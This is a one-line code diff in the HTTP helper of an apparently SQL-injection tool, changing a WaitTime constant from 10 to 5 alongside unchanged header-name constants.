a/SuperSQLInjection/tools/http/HTTP.cs +++ b/SuperSQLInjection/tools/http/HTTP.cs @@ -33,7 +33,7 @@ namespace SuperSQLInjection.tools public const String Content_Encoding = "content-encoding"; public const String Transfer_Encoding = "transfer-encoding"; public const String Connection = "connection"; - public const int WaitTime =10; + public const int WaitTime =5; public static Main main = null; public static long index = 0;